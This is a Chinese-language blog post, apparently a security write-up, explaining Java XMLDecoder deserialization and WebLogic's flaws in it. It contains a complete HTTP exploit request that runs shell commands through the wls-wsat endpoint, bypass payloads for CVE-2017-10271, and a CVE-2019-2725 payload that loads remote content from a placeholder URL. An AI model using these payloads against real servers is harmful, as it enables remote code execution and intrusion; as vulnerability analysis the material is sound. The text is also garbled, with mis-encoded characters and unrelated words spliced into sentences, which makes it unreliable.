weblogic XMLDecoder反序列化

XMLDecoder和XMLEncoder

java中對對象的序列化和反序列化有多種實(shí)現(xiàn)方式阿宅,比如原生的使用ObjectOuptutStream/ObjectInputStream來實(shí)現(xiàn)序列化和反序列化,還有使用fastjson來進(jìn)行對象的序列/反序列化抹锄,還有使用XStream等双仍,這里的XMLEncoder/XMLDecoder也是java提供的一種序列化和反序列化的方式

XMLEncoder/XMLDecoder

定義一個(gè)java bean匙握,這個(gè)java bean的構(gòu)造方法是一個(gè)無參構(gòu)造方法

package poc.xmlserilize;

import java.io.Serializable;
import java.util.Vector;

public class MyBean {
    private boolean myBoolean;
    private String myString;
    private Vector<String> myVector;

    public MyBean() {
    }
    public boolean isMyBoolean() {
        return myBoolean;
    }
    public void setMyBoolean(boolean myBoolean) {
        this.myBoolean = myBoolean;
    }
    public String getMyString() {
        return myString;
    }
    public void setMyString(String myString) {
        this.myString = myString;
    }
    public Vector<String> getMyVector() {
        return myVector;
    }
    public void setMyVector(Vector<String> myVector) {
        this.myVector = myVector;
    }
    public void sayHello(String name){
        System.out.println("this is " + name);
    }
}

接下來用XMLEncoder來序列化這個(gè)java bean

package poc.xmlserilize;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Vector;

public class XMLEncodeF {
    public static void main(String[] args) throws Exception{
        MyBean mb = new MyBean();
        mb.setMyBoolean(true);
        mb.setMyString("xml is cool");
        Vector<String> v = new Vector<String>();
        v.add("one");
        v.add("two");
        v.add("three");
        mb.setMyVector(v);

        FileOutputStream fos = new FileOutputStream("mybean.xml");
        BufferedOutputStream bos = new BufferedOutputStream(fos);
        XMLEncoder xmlEncoder = new XMLEncoder(bos);
        xmlEncoder.writeObject(mb);
        xmlEncoder.close();


//        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
//        MyBean bean = (MyBean)xmlDecoder.readObject();
//        xmlDecoder.close();

    }
}

看一下生成的xml對象

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
 <object class="poc.xmlserilize.MyBean">
  <void property="myBoolean">
   <boolean>true</boolean>
  </void>
  <void property="myString">
   <string>xml is cool</string>
  </void>
  <void property="myVector">
   <object class="java.util.Vector">
    <void method="add">
     <string>one</string>
    </void>
    <void method="add">
     <string>two</string>
    </void>
    <void method="add">
     <string>three</string>
    </void>
   </object>
  </void>
 </object>
</java>

我們現(xiàn)在清楚了xml對象生成的方法弊予,我們根據(jù)文檔中的一個(gè)xml對象例子來進(jìn)行分析

<?xml version="1.0" encoding="UTF-8"?>
 <java version="1.0" class="java.beans.XMLDecoder">
 <object class="javax.swing.JFrame">
   <void property="name">
     <string>frame1</string>
   </void>
   <void property="bounds">
     <object class="java.awt.Rectangle">
       <int>0</int>
       <int>0</int>
       <int>200</int>
       <int>200</int>
     </object>
   </void>
   <void property="contentPane">
     <void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>
   </void>
   <void property="visible">
     <boolean>true</boolean>
   </void>
 </object>
 </java>

關(guān)于XMLEncoder和XMLDecoder有文檔介紹:https://docs.oracle.com/javase/7/docs/api/java/beans/XMLEncoder.html

其中很關(guān)鍵的一部分


image.png

這里對標(biāo)簽的作用有一定的介紹翼岁,但是是英文悦析,感覺還是不是很好理解寿桨,我們可以稍微看一下這里的介紹,明確一下標(biāo)簽的作用,然后通過例子自己分析一下文檔結(jié)構(gòu)

  1. 每一個(gè)標(biāo)簽都相當(dāng)于一個(gè)方法調(diào)用
  2. object標(biāo)簽亭螟,代表一個(gè)表達(dá)式挡鞍,它的值被用作圍繞的標(biāo)簽的參數(shù)

來看上面的

<void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>

object相當(dāng)于是一個(gè)表達(dá)式,object標(biāo)簽的結(jié)果被作為add這個(gè)方法的參數(shù)被傳入预烙,相當(dāng)于add(JButton xxx)

  1. void標(biāo)簽墨微,代表一個(gè)聲明,比如變量的聲明扁掸,方法調(diào)用的聲明翘县,它的值不被認(rèn)為是圍繞標(biāo)簽的參數(shù)

來看這一段

<void property="name">
     <string>frame1</string>
   </void>

void標(biāo)簽代表一個(gè)聲明,這里就是一個(gè)變量的聲明谴分,property用來表示變量名锈麸,void里面的標(biāo)簽用來表示變量的值,這里是一個(gè)string類型的變量

  1. 除了void標(biāo)簽牺蹄,其他任何標(biāo)簽都被認(rèn)為是圍繞標(biāo)簽的參數(shù)

舉個(gè)例子

<object class="MyBean">
  <string>test</string>
</object>

因?yàn)檫@里的test不是void標(biāo)簽忘伞,所以test被作為MyBean構(gòu)造函數(shù)的參數(shù)傳入

  1. 方法可以通過method屬性來進(jìn)行說明,比如上面的
<void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>
  1. xml標(biāo)準(zhǔn)的id和idref用來引用上面已經(jīng)定義的一個(gè)對象
  2. class屬性用來明確的指出一個(gè)類的靜態(tài)方法或者構(gòu)造方法沙兰,為類的全限定名
  3. void如果沒有指定class的話使用上下文的環(huán)境
  4. string類型可以直接使用<string>test</string>來表示

這就是最關(guān)鍵的幾個(gè)標(biāo)簽了氓奈,用這幾個(gè)標(biāo)簽可以完整的描述一個(gè)類,但是java為了方便鼎天,也提供了如<array>舀奶,<int>等數(shù)據(jù)類型的標(biāo)簽,在文檔的下面則是介紹更加細(xì)節(jié)的一些東西以及一些約定

XML反序列化很有意思的一點(diǎn)就是我們可以自己去指定任意一個(gè)方法去執(zhí)行斋射,而且這個(gè)類完全可以不用實(shí)現(xiàn)Serializable接口育勺,我們嘗試自己構(gòu)造一個(gè)ProcessBuilder對象

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
   <void index="0">
    <string>/bin/bash</string>
   </void>
   <void index="1">
    <string>-c</string>
   </void>
   <void index="2">
    <string>touch /tmp/blog</string>
   </void>
  </array>
  <void method="start">
  </void>
 </object>
</java>

反序列化:

XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
MyBean bean = (MyBean)xmlDecoder.readObject();
xmlDecoder.close();

通過XMLDecoder反序列化成功執(zhí)行命令


image.png

可以看到XMLDecoder反序列化,根本不需要調(diào)用鏈绩鸣,因?yàn)樗旧砜梢苑葱蛄谢粋€(gè)類怀大,并且可以調(diào)用任意方法,我們來稍微分析一下ProccessBuilder的構(gòu)造

首先是用object標(biāo)簽聲明了一個(gè)ProcessBuilder的對象呀闻,然后里面的array標(biāo)簽作為ProcessBuilder的構(gòu)造函數(shù)的參數(shù)傳入化借,而最后的void標(biāo)簽指定了調(diào)用的方法為start,并且start方法并沒有參數(shù)可以傳入捡多,所以里面沒有其他的元素了

和我們平常調(diào)用ProcessBuilder一致:


image.png

小結(jié)

所以在挖掘XMLDecoder反序列化的時(shí)候蓖康,只要在構(gòu)造XMLDecoder對象的時(shí)候傳入的InputStream我們可控,而且在XMLDecoder之后調(diào)用了readObject方法垒手,就可以證明有反序列化漏洞

weblogic xmldecoder反序列化

先來個(gè)exp:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.100:7001
Content-Length: 849
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.0.100:7001
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.100:7001/wls-wsat/CoordinatorPortType
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cnva_2132_saltkey=DVnLKAq2; cnva_2132_lastvisit=1580888977; cnva_2132_sid=Phr4h5; cnva_2132_lastact=1580894593%09search.php%09forum
Connection: close

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java class="java.beans.XMLDecoder"> 
        <void class="java.lang.ProcessBuilder"> 
          <array class="java.lang.String" length="3"> 
            <void index="0"> 
              <string>/bin/bash</string> 
            </void>  
            <void index="1"> 
              <string>-c</string> 
            </void>  
            <void index="2"> 
              <string>touch /tmp/webaklsdjfkla</string> 
            </void> 
          </array>  
          <void method="start"/>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>
image.png

成功執(zhí)行命令:


image.png

把weblogic調(diào)試環(huán)境搭建好蒜焊,最終出問題的地方是在WorkContextXmlInputAdapter這個(gè)類中的readUTF方法中

image.png

可以看到,這里調(diào)用了XMLDecoder的readObject方法科贬,所以只要構(gòu)造XMLDecoder的時(shí)候輸入流我們可控泳梆,就可以造成xml反序列化漏洞

把斷點(diǎn)下在readUTF上鳖悠,可以看到整個(gè)的調(diào)用鏈:


image.png

weblogic的函數(shù)調(diào)用十分深,一步步跟太復(fù)雜优妙,對傳入soap協(xié)議進(jìn)行解析的地方是在processRequest這個(gè)函數(shù)中乘综,我們從這里跟起

image.png

這里傳入了Packet對象,其實(shí)就是我們POST傳入的soap協(xié)議


image.png

通過這兩個(gè)函數(shù)獲取了soap協(xié)議頭的值


image.png

這里對頭部還有一個(gè)匹配的操作套硼,必須有一些特定的屬性和字段


image.png

這就是為什么soap頭要添加幾個(gè)字段和屬性


image.png

接下來我們獲取到了soap的頭部卡辰,之后進(jìn)入到readHeaderOld,在這里對soap的頭部進(jìn)行了去除邪意,拿出了包裹的xml對象


image.png

接下來對WorkContextXmlInputAdapter的實(shí)例化九妈,這里實(shí)例化了XMLDecoder并且可以看出來,傳入的輸入流正是我們可控的xml對象

image.png

這個(gè)時(shí)候雾鬼,我們只要找到調(diào)用XMLDecoder.readObject的地方就可以了萌朱,從這里的WorkContextXmlInputAdapter可以猜測這個(gè)類是一個(gè)攔截器,我們一致跟著var1這個(gè)變量呆贿,看它在什么時(shí)候調(diào)用了自己的方法嚷兔,一致跟到readEntry這個(gè)方法,這個(gè)變量調(diào)用了readUTF方法

image.png

最后成功在readUTF中觸發(fā)反序列化

weblogic的修復(fù)和繞過

第一次攔截

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

防御非常簡單做入,如果開始的標(biāo)簽為object標(biāo)簽直接拋出異常推出

CVE-2017-10271

前面說過了,在文檔中也提到同衣,可以不用object標(biāo)簽來代表一個(gè)對象竟块,void標(biāo)簽同樣可以,也就是CVE-2017-10271的繞過方法:

<java> 
  <void class="java.lang.ProcessBuilder"> 
    <array class="java.lang.String" length="1"> 
      <void index="0"> 
        <string>calc</string> 
      </void> 
    </array>  
    <void method="start"/>
  </void> 
</java>

第二次攔截

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

CVE-2019-2725

<java> 
  <class> 
    <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>  
    <void> 
      <string>http://xxxx</string> 
    </void> 
  </class> 
</java>

文檔也提到了class標(biāo)簽


image.png

但是沒有很詳細(xì)的說明耐齐,CVE-2019-2725就是基于class標(biāo)簽的繞過

因?yàn)橹跋拗屏瞬荒苡衜ethod屬性浪秘,所以不能直接執(zhí)行方法了,所以只能找類的構(gòu)造方法中有反序列化的地方

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末埠况,一起剝皮案震驚了整個(gè)濱河市耸携,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌辕翰,老刑警劉巖夺衍,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異喜命,居然都是意外死亡沟沙,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進(jìn)店門壁榕,熙熙樓的掌柜王于貴愁眉苦臉地迎上來矛紫,“玉大人,你說我怎么就攤上這事牌里〖找В” “怎么了?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長喳篇。 經(jīng)常有香客問我缓呛,道長,這世上最難降的妖魔是什么杭隙? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任哟绊,我火速辦了婚禮,結(jié)果婚禮上痰憎,老公的妹妹穿的比我還像新娘票髓。我一直安慰自己,他們只是感情好铣耘,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布洽沟。 她就那樣靜靜地躺著,像睡著了一般蜗细。 火紅的嫁衣襯著肌膚如雪裆操。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天炉媒,我揣著相機(jī)與錄音踪区,去河邊找鬼。 笑死吊骤,一個(gè)胖子當(dāng)著我的面吹牛缎岗,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播白粉,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼传泊,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了鸭巴?” 一聲冷哼從身側(cè)響起盆佣,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤急前,失蹤者是張志新(化名)和其女友劉穎草姻,沒想到半個(gè)月后宴凉,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡惯豆,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年池磁,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片楷兽。...
    茶點(diǎn)故事閱讀 39,841評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡地熄,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出芯杀,到底是詐尸還是另有隱情端考,我是刑警寧澤雅潭,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站却特,受9級特大地震影響扶供,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜裂明,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一椿浓、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧闽晦,春花似錦扳碍、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至荠瘪,卻和暖如春夯巷,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背哀墓。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工趁餐, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人麸祷。 一個(gè)月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓澎怒,卻偏偏與公主長得像,于是被迫代替她去往敵國和親阶牍。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內(nèi)容

  • alert(a); function name(parameters) { alert(parameters); ...
    name阿喆azhe閱讀 1,041評論 0 3
  • JAVA序列化機(jī)制的深入研究 對象序列化的最主要的用處就是在傳遞,和保存對象(object)的時(shí)候,保證對象的完整...
    時(shí)待吾閱讀 10,863評論 0 24
  • 1星瘾、面向?qū)ο蟮奶卣饔心男┓矫?1.抽象:抽象就是忽略一個(gè)主題中與當(dāng)前目標(biāo)無關(guān)的那些方面走孽,以便更充分地注意與當(dāng)前目標(biāo)...
    michaelgong閱讀 823評論 0 1
  • 一. Java基礎(chǔ)部分.................................................
    wy_sure閱讀 3,811評論 0 11
  • 親愛的家人們:晚上好磕瓷,今天我終于來做入群以來的第1次分享,感嘆時(shí)間的飛逝念逞,不知不覺困食,我入群已經(jīng)快三個(gè)月了,心里一直...
    志郁閱讀 831評論 7 19